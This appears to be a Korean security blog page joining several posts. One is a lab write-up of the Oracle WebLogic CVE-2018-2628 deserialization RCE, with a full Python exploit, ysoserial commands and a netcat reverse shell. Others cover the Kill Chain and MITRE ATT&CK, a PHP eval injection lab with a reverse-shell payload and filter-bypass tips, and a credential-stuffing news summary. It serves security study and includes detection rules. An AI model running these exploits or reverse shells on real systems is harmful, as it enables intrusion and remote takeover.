Oracle WebLogic Server is a unified, extensible platform for developing and deploying enterprise Java applications, on-premises or in the cloud.

www.oracle.com

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-2628

- Oracle WebLogic 서버의 RMI 레지스트리를 역직렬화로 원격 코드를 실행할 수 있는 취약점

- 기본 포트 7001를 사용하는 서버를 대상으로 공격이 이루어지지만 다른 포트를 사용 중인 경우에도 공격

영향받는 버전
- Oracle Weblogic 10.3.6.0 / 12.2.1.2 / 12.1.3.0 / 12.2.1.3

 

2.1 공격 흐름

① 공격자는 Weblogic 서버에서 오픈된 T3 프로토콜과 소켓 통신 생성

② 조작된 페이로드를 전송

③ 원격 서버가 전송받은 페이로드를 역직렬화하여 원격코드 실행

[사진 2] https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

 

Java RMI
- 원격 시스템 간의 메시지 교환을 위해서 사용하는 기술
- 원격에 있는 시스템의 메서드를 로컬 시스템의 메서드인 것처럼 호출
- 원격 시스템의 메서드를 호출 시에 전달하는 메시지(보통 객체)를 자동으로 직렬화 시켜 사용
- 전달받은 원격 시스템은 메시지를 역직렬화를 통해 변환하여 사용

Weblogic T3 프로토콜
- WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜

 

2.2 실습

- Oracle Weblogic 10.3.6.0 정상 접근 확인

[사진 3] WebLogic 구동

 

- 먼저 공격자는 다음 명령을 수행

※ 해당 명령어는 포트를 열고 Listen을 하면서 대기중인 상태

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "nc 192.168.56.102 4444 -e /bin/bash"

[사진 4] 1099 포트 오픈 명령

 

- 이와 동시에 공격자는 리버스 쉘 생성을 위한 명령을 수행

[사진 5] 리버스 쉘

 

- 공개된 exploit을 이용해 페이로드 전송

※ exploit : https://www.exploit-db.com/exploits/44553

python 44553.py 192.168.56.112 7001 ysoserial-all.jar 192.168.56.102 1099 JRMPClient

[사진 6] exploit 페이로드 전송

- [사진 4]의 terminal을 확인해보면 [사진 7]과 같은 문자열이 확인됨

[사진 7] Listener Terminal

 

- 이후 [사진 5]의 리버스쉘 생성되며, 이에 따라 원격 명령 수행이 가능해짐

※ 실습에서는 리버스 쉘 생성이 되지않아, 와이어샤크를 통해 패킷 확인 결과 다른 IP로의 연결 시도가 된것으로 판단

[사진 8] 패킷 확인

 

- 위 과정이 정상적으로 이루어진 경우 리버스 쉘 생성과 원격 명령 수행이 가능해짐

[사진 9] 리버스 쉘 생성(위) 및 패킷 확인(아래)

2.3 PoC

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

 

- 실제 공격을 시도하는 exploit()은 크게 3부분으로 이루어짐

① 취약 서버와 T3 통신을 위한 소켓 sock 생성

② 서버 정보를 따로 저장한 변수와 sock을 이용해 T3 서비스와 연결 생성

③ 소켓 연결 후 ysoserial의 JRMPClient2 라이브러리를 사용해 RMI Connection 포트 1099 오픈 페이로드 생성 및 취약 서버에 페이로드 전송

[사진 10] exploit()

함수 설명
t3_handshake() 서버정보를 통해 socket을 이용하여 T3 서비스와 통신을 위한 함수
build_t3_request_object() T3 서비스와 통신 후에 socket 연결을 맺는 함수
generate_payload() Socket 연결이 맺어진 후에 ysoserial의 JRMPClient2 라이브러리를 사용하여 RMI Connection 포트(1099)를 오픈하는 Payload를 생성하는 함수
send_payload_objdata Weblogic Server에 Socket을 통해 Payload를 전송하는 함수

 

3. 대응방안

3.1 서버측면

① 최신 버전으로 업데이트 적용

② Weblogic Server 포트 변경

- Weblogic Server의 기본 포트 7001를 사용 중인 시스템이 대상이 되는 취약점

- 기본 포트를 사용할 경우에는 다른 포트로 변경하여 사용

- 다른 포트를 사용할 경우에는 해당 포트에 대해 접근 제한을 적용

 

3.2 네트워크 측면

① 보안장비에 탐지 정책 적용

- 직렬화 데이터는 해당 데이터가 직렬화된 데이터라는 것을 알려주는 "ac ed 00 05"라는 시그니처를 가짐

[사진 11] ac ed 00 05

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established;content:"|AC ED 00 05|";content:”Registry”;fast_pattern:only;)

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established; content:”|AC ED 00 05|”; content:”InvocationHandler”; fast_pattern:only;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2018-2628

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

- https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

https://www.exploit-db.com/exploits/44553

https://github.com/frohoff/ysoserial
- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=27186&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTgtMjYyOA== 

- https://teamsign.tistory.com/3

1. Cyber Kill Chain

- 기존 군사용어 킬체인 (Kill Chain, 타격순환체계)을 사이버 공간으로 가져와 적용한 것

※ 킬체인 (Kill Chain) : 선제 공격을 통해 미사일 발사 자체를 저지하겠다는 것

- 미국 군수업체인 록히드마틴에서 최초로 사용

- APT에 대응하기 위해 제시한 방법으로, 공격자가 표적을 공격할 때 거쳐야 하는 과정을 단계로 분류

단계 설명
1단계
정찰(Reconnaissance)
- 이메일, 컨퍼런스 등을 통해 기본적인 정보를 수집
2단계 
무기화(Weaponization)
- Exploit과 백도어를 결합해 payload에 삽입
3단계
유포(Delivery)
- Email, 웹, 외장하드 등을 경유하여 유포
4단계
악용(Exploitation)
- 공격 대상에서 코드를 실행하기 위해 취약점을 이용
5단계
설치(Installation) 
- 피해 시스템에 악성 프로그램 설치
6단계
명령&제어(Command & Control) 
- 피해 시스템을 원격에서 조작하기 위한 채널 생성
7단계
행동(Actions on Objectives) 
- 시스템파괴 등 공격을 수행

 

1.1 한계

- 각 단계에 따른 공격자의 행위를 시간의 흐름에 따라 묘사 및 나열

- 단계별로 사용되는 기술, 공격 도구, 해킹그룹 등에 대한 정보와의 연결고리가 없다는 한계

공격자의 행동이 전술적 공격 목표와 각 행동의 연관성을 표현하고 전달하기에는 효과적이지 않다는 것

외부 침입자 대한 방어를 위주로 한 전략

> 공격자가 이미 침투했거나 내부자에 의한 공격 등 내부 보안에 대한 전략은 전무

 

2. MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge)

- 공격자들의 최신 공격 기술 정보가 담긴 저장소

실제 공격의 악의적 행위(Adversary behaviors)에 대해서 공격방법(Tactics)과 기술(Techniques)의 관점으로 분석

- 네비게이터(Navigator) 기능을 이용해 다양한 방식으로 시각화 하여 비교가 가능 (https://mitre-attack.github.io/attack-navigator/)

[사진 1] Mitre 홈페이지 탭

설명
Matrices (표 정보) - 공격 기술인 Tactic, Technique 개념과 관계를 시각화
- Enterprise(기업), Mobile(모바일), ICS(산업제어시스템) 버전으로 제공
① Enterprise
- 범용적인 기업환경에 적용되는 네트워크 및 다양한 OS 및 플랫폼에대한 침해 행위를 세부적으로 모델링하기 위해 만들어진 프레임워크
② Mobile
- 모바일 환경에 대한 침해 행위를 세부적으로 모델링하기 위해 만들어진 프레임워크
③ ICS
-  관련 네트워크와 산업 생산 영역에서 설비의 운영을 제어·관리하는 시스템을 대상으로 한 공격 유형과 과정 등의 정보를 포함
Tactics (공격 전술 정보) - Tactics 는 공격자의 공격 목표에 따른 행동을 나타냄
<Enterprise Tactics>
① 정찰 (Reconnaissance)
- TA0043
- 내부정찰단계로 다른 시스템으로 이동하기 위해 탐구하는 단계
② 자원 개발 (Resource Development)
- TA0042
- 다른 시스템으로 이동하기 위한 정보로 계정 등을 확보하는 단계
③ 초기 접근 단계 (Initial Access)
- TA0001
- 네트워크 진입을 위해 사용자 환경에 대한 정보를 취득하는 것을 목적으로 함
④ 실행 (Execution)
- TA0002
- 공격자가 로컬 또는 원격 시스템을 통해 악성코드를 실행하기 위한 행동
⑤ 지속 (Persistence)
- TA0003
- 공격 기반을 유지하고 시스템에 지속적으로 접근하기 위한 행동
⑥ 권한 상승(Privilege Escalation)
- TA0004
- 공격자가 시스템이나 네트워크에서 높은 권한을 얻기 위한 행동
⑦ 방어 회피(Defense Evasion)
- TA0005
- 공격자가 침입한 시간 동안 탐지 당하는 것을 피하기 위한 행동
⑧ 접속 자격 증명(Credential Access)
- TA0006
- 시스템, 도메인 서비스, 자격증명 등을 접근하거나 제어하기 위한 행동
⑨ 탐색 (Discovery)
- TA0007
- 시스템 및 내부 네트워크의 정보를 얻기 위한 행동
⑩ 내부 확산(Lateral Movement)
- TA0008
- 네트워크 상의 원격 시스템에 접근한 후 이를 제어하기 위한 행동
⑪ 수집 (Collection)
- TA0009
- 공격 목적이나 관련 정보가 포함된 데이터를 수집하기 위한 행동
⑫ 명령 및 제어 (Command And Control)
- TA0011
- 공격자가 침입한 대상 네트워크 내부 시스템과 통신하며 제어하기 위한 행동
⑬ 유출 (Exfiltration)
- TA0010
- 공격자가 네트워크에서 데이터를 훔치기 위한 행동
⑭ 임팩트 (Impact)
- TA0040
- 공격 목표의 가용성과 무결성을 손상시키기 위한 행동
Techniques (공격 기술 정보) - 공격자가 목표에 대한 Tactic 을 달성하기 위한 방법을 나타냄
- 공격자의 공격(Technique)을 통해 발생하는 결과(피해)를 명시
Mitigations (공격 완화 정보) - 관리자가 공격을 예방하고 탐지하기 위해 취할 수 있는 행동
Groups (공격 단체/조직 정보) - 공개적으로 명칭이 부여된 해킹단체에 대한 정보와 공격 기법을 분석하여 정리
Software (공격 도구 정보) - ​​공격에 사용되는 다양한 도구의 모음을 총칭하여 정리한 것

 

3. 참고

https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
https://attack.mitre.org/
https://www.igloo.co.kr/security-information/mitre-attck-framework-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0/

'기타 > 기타' 카테고리의 다른 글

CVE, CWE, CVSS  (0) 2022.12.27

1. PHP Code Injection

- Code injection 공격 중 하나로 취약한 PHP 함수에 악의적인 코드를 삽입하는 공격

 

2. 실습

2.1 Low

- "message"를 클릭한 뒤 URL을 확인해보면 GET 방식을 사용하며, message 매배견수로 입력 받은 값을 표시함

[사진 1] 초기 화면

 

- [사진 1]의 URL에서 확인되는 phpi.php 페이지를 확인 시 eval() 함수로 message 매개변수로 받은 값을 실행

- PHP에서 eval()은 ()안의 문자열을 PHP 코드로 실행하는 함수

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

[사진 2] eval()

 

- 원격의 공격자를 이를 이용해 원격에서 임의 명령 실행 가능

① 원격의 공격자는 nc 명령으로 4444 Port를 오픈 후 대기

② 취약한 message 매개변수에 리버스쉘을 생성하는 명령어 삽입 ex) system("nc 192.168.56.102 4444 -e /bin/bash")

③ 명령프롬프트 표시 : python -c 'import pty;pty.spawn("/bin/bash")'

[사진 3] 리버스 쉘 생성

2.2 Medium / High

- Medium / High Level에서는 Injection 코드가 텍스트로 출력

[사진 4] 결과

- eval() 함수를 사용한 Low Level과 달리 htmlspecialchars()를 통해 특수문자를 필터링 ( &, ", ', <, > )

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

※ 해당 함수는 우회가능함

① 입력 값을 base64 인코딩된 값으로 받는 페이지에서 우회 가능

② Hex 값을 반환해줄 경우 특수 문자를 Hex Encoding하여 우회 가능

[사진 5] htmlspecialchars()

요약 - 노턴 라이프락(Norton LifeLock) 고객들 중 일부가 크리덴셜 스터핑 공격의 피해
※ 크리덴셜 스터핑 : 입수한 비밀번호를 사용해 다양한 서비스의 계정으로 로그인 시도를 해 보는 공격
- 다른 곳에서 유출된 사용자 이름과 비밀번호의 조합 정보를 노턴 라이프락 고객들에게 대입하여 노턴 계정에 침투하는 데 성공
- 비밀번호 관리 프로그램에 접속했을 가능성도 존재
내용 - 젠 디지털 측은 침해와 관련된 악성 행위를 12월 12일에 처음 발견
※ 젠 디지털(Gen Digital) : 라이프락이라는 브랜드를 소유하고 있는 기업

- 인증 시스템에서 “비정상적으로 로그인 시도 및 실패 빈도가 높다” 경보 > 열흘 간 수사 > 최초 악성 행위는 12/01
- 아직 피해 규모에 대해서는 알려진 바가 없다
> 공격자들이 노턴 계정과 연결되어 있는 사용자 이름, 전화번호, 우편 주소에 접속한 것으로 추측

- 이번 사건으로 비밀번호 재사용 습관의 문제점을 보여줌
> 아무리 강력한 비밀번호 생성 및 관리 기술이라도 무용지물이 될 수 있음
> 각종 서비스에 동일한 크리덴셜(ID/PW)을 사용
기타 - 사용자들 중 노턴 계정을 비밀번호 관리 프로그램으로 보호하지 않고 자기가 스스로 만든 비밀번호로 보호하고 있던 사람들이 공격에 당한 것으로 추정

- 공격자들은 최근 아이덴티티와 접근 관리 시스템을 자주 표적으로 삼기 시작
> 아이덴티티 접근 관리 시스템(IAM)을 한 번만 침해하면 연결된 수많은 보물 창고들로 접근할 수 있기 때문
> 표적의 네트워크 내에도 더 깊숙하게 들어갈 수 있게 됨
∴ 효율성을 지극히 따지는 공격자들에게 안성맞춤인 표적

 

보안뉴스

 

노턴 라이프락 계정에 대한 크리덴셜 스터핑 공격, 통했다

노턴 라이프락(Norton LifeLock) 고객들 중 일부가 크리덴셜 스터핑 공격의 피해자가 됐다. 사이버 공격자들은 다른 곳에서 유출된 사용자 이름과 비밀번호의 조합 정보를 노턴 라이프락 고객들에게

www.boannews.com

 

+ Recent posts